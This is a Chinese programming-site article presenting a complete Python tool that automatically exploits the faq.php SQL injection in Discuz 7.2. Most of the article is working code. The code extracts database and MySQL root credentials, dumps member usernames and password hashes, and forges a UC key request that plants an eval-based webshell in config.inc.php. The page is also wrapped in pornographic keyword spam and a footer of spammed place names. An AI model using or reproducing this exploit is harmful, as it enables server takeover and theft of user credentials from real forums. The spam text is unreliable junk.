最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Python寫的Discuz7.2版faq.php注入漏洞工具

 更新時(shí)間:2014年08月06日 10:13:33   投稿:junjie  
這篇文章主要介紹了Python寫的Discuz7.2版faq.php注入漏洞工具,全自動(dòng)的一款注入工具,針對Discuz7.2版,需要的朋友可以參考下

Discuz 7.2 faq.php全自動(dòng)利用工具,getshell 以及dump數(shù)據(jù),python 版的uc_key getshell部分的代碼來自網(wǎng)上(感謝作者)

實(shí)現(xiàn)代碼:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: gb2312 -*-
# -*- coding: utf_8 -*- 
# author iswin 
import sys
import hashlib
import time
import math
import base64
import urllib2 
import urllib
import re

def sendRequest(url,para):
	try:
		data = urllib.urlencode(para)
		req=urllib2.Request(url,data)
		res=urllib2.urlopen(req,timeout=20).read()
	except Exception, e:
		print 'Exploit Failed!\n%s'%(e)
		exit(0);
	return res

def getTablePrefix(url):
	print 'Start GetTablePrefix...'
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res);
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].decode('hex')
	table_pre=table_pre[0:table_pre.index('_')]
	print 'Table_pre:%s'%(table_pre)
	return table_pre

def getCurrentUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para)
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1]
	print 'Current User:%s'%(table_pre)
	return table_pre

def getUcKey(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	res1=sendRequest(url,para1);
	key1=re.findall("Duplicate entry '(.*?)'",res)
	key2=re.findall("Duplicate entry '(.*?)'",res1)
	if len(key1)==0:
		print 'Get Uc_Key Failed!'
		return ''
	key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
	print 'uc_key:%s'%(key)
	return key

def getRootUser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendRequest(url,para);
	pre=re.findall("Duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'Exploit Failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].split(' ')
	print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpData(url,table_prefix,count):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
	res=sendRequest(url,para);
	datas=re.findall("Duplicate entry '(.*?)'",res)
	if len(datas)==0:
		print 'Exploit Failed!'
		exit(0)
	cleandata=datas[0][:len(datas[0])-1]
	info=cleandata.split(' ')
	print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = False) :
  if get_as_float:
    return time.time()
  else:
    return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
  ckey_length = 4
  key = hashlib.md5(key).hexdigest()
  keya = hashlib.md5(key[0:16]).hexdigest()
  keyb = hashlib.md5(key[16:32]).hexdigest()
  keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
  cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
  key_length = len(cryptkey)
  string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
  string_length = len(string)
  result = ''
  box = range(0, 256)
  rndkey = dict()
  for i in range(0,256):
    rndkey[i] = ord(cryptkey[i % key_length])
  j=0
  for i in range(0,256):
    j = (j + box[i] + rndkey[i]) % 256
    tmp = box[i]
    box[i] = box[j]
    box[j] = tmp
  a=0
  j=0
  for i in range(0,string_length):
    a = (a + 1) % 256
    j = (j + box[a]) % 256
    tmp = box[a]
    box[a] = box[j]
    box[j] = tmp
    result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
  return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
  headers={'Accept-Language':'zh-cn',
  'Content-Type':'application/x-www-form-urlencoded',
  'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
  'Referer':url
  }
  tm = time.time()+10*3600
  tm="time=%d&action=updateapps" %tm
  code = urllib.quote(get_authcode(tm,key))
  url=url+"?code="+code
  data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
      <root>
      <item id="UC_API">http://xxx\');eval($_POST[3]);//</item>
      </root>'''
  try:
    req=urllib2.Request(url,data=data1,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "Exploit Falied"
  data2='''<?xml version="1.0" encoding="ISO-8859-1"?>
      <root>
      <item id="UC_API">http://aaa</item>
      </root>'''
  try:
    req=urllib2.Request(url,data=data2,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "error"

  try:
  	req=urllib2.Request(host+'/config.inc.php')
  	res=urllib2.urlopen(req,timeout=20).read()
  except Exception, e:
  	print 'GetWebshell Failed,%s'%(e)
   	return
  print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
	print 'DZ7.x Exp Code By iswin'
	if len(sys.argv)<3:
		print 'DZ7.x Exp Code By iswin\nusage:python dz7.py http://m.fzitv.net 10'
		exit(0)
	url=sys.argv[1]+'/faq.php'
	count=int(sys.argv[2])
	user=getCurrentUser(url)
	if user.startswith('root@'):
		getRootUser(url)
	uc_key=getUcKey(url)
	if len(uc_key)==64:
		print 'Start GetWebshell...'
		get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
	tb_pre=getTablePrefix(url)
	print 'Start DumpData...'
	for x in xrange(0,count):
		dumpData(url,tb_pre,x)

相關(guān)文章

  • Python 如何利用ffmpeg 處理視頻素材

    Python 如何利用ffmpeg 處理視頻素材

    ffmpeg是一套可以用來記錄、轉(zhuǎn)換數(shù)字音頻、視頻,并能將其轉(zhuǎn)化為流的開源計(jì)算機(jī)程序,使用這個(gè)神器,便可以處理各種視頻素材內(nèi)容,極度舒適。本文將介紹如何利用ffmpeg對視頻素材進(jìn)行處理,感興趣的可以了解一下
    2021-11-11
  • 淺談python內(nèi)置函數(shù)callable的用法

    淺談python內(nèi)置函數(shù)callable的用法

    這篇文章主要介紹了淺談python內(nèi)置函數(shù)callable的用法, callable函數(shù)可用于判斷一個(gè)對象是否可以被調(diào)用,若對象可以被調(diào)用則返回True,反之則返回False,需要的朋友可以參考下
    2023-04-04
  • Python 如何求矩陣的逆

    Python 如何求矩陣的逆

    這篇文章主要介紹了Python 如何求矩陣的逆案例,具有很好的參考價(jià)值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2021-03-03
  • python 文件和路徑操作函數(shù)小結(jié)

    python 文件和路徑操作函數(shù)小結(jié)

    python 文件和路徑操作函數(shù)小結(jié),需要開發(fā)的朋友可以參考下。
    2009-11-11
  • Python中time.sleep(0.001)是否真的只等待1毫秒

    Python中time.sleep(0.001)是否真的只等待1毫秒

    這篇文章主要介紹了Python中time.sleep(0.001)是否真的只等待1毫秒,具有很好的參考價(jià)值,希望對大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2024-06-06
  • 詳解python中常用配置的讀取方法

    詳解python中常用配置的讀取方法

    常見的應(yīng)用配置方式有環(huán)境變量和配置文件,對于微服務(wù)應(yīng)用,還會從配置中心加載配置,本文主要介紹了從環(huán)境變量、.env文件、.ini文件、.yaml文件等文件的讀取配置,需要的可以參考下
    2024-01-01
  • python實(shí)現(xiàn)漢諾塔方法匯總

    python實(shí)現(xiàn)漢諾塔方法匯總

    本文給大家匯總了幾種使用Python結(jié)合遞歸算法實(shí)現(xiàn)漢諾塔的方法,非常的簡單實(shí)用,對大家學(xué)習(xí)Python很有幫助,希望大家能夠喜歡
    2016-07-07
  • PyTorch函數(shù)torch.cat與torch.stac的區(qū)別小結(jié)

    PyTorch函數(shù)torch.cat與torch.stac的區(qū)別小結(jié)

    Pytorch中常用的兩個(gè)拼接函數(shù)torch.cat() 和 torch.stack(),本文主要介紹了這兩個(gè)函數(shù)的用法加區(qū)別,具有一定的參考價(jià)值,感興趣的可以了解一下
    2023-09-09
  • 詳解Python小數(shù)據(jù)池和代碼塊緩存機(jī)制

    詳解Python小數(shù)據(jù)池和代碼塊緩存機(jī)制

    這篇文章主要介紹了詳解Python 小數(shù)據(jù)池和代碼塊緩存機(jī)制的相關(guān)資料,幫助大家更好的理解和學(xué)習(xí)使用python,感興趣的朋友可以了解下
    2021-04-04
  • python中時(shí)間模塊的基本使用教程

    python中時(shí)間模塊的基本使用教程

    這篇文章主要給大家介紹了關(guān)于python中時(shí)間模塊的基本使用的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對大家學(xué)習(xí)或者使用python具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來一起學(xué)習(xí)學(xué)習(xí)吧
    2019-05-05

最新評論

通州区| 剑河县| 浙江省| 乳山市| 格尔木市| 徐水县| 洪江市| 丁青县| 静宁县| 合肥市| 获嘉县| 易门县| 环江| 湖州市| 吉木萨尔县| 岳西县| 娄底市| 高阳县| 田东县| 岑巩县| 克东县| 盖州市| 东辽县| 南召县| 徐州市| 托克托县| 环江| 大足县| 新干县| 三门县| 平谷区| 德安县| 清水河县| 台北县| 秭归县| 泰来县| 新野县| 奉节县| 江川县| 宜兰市| 彰化市|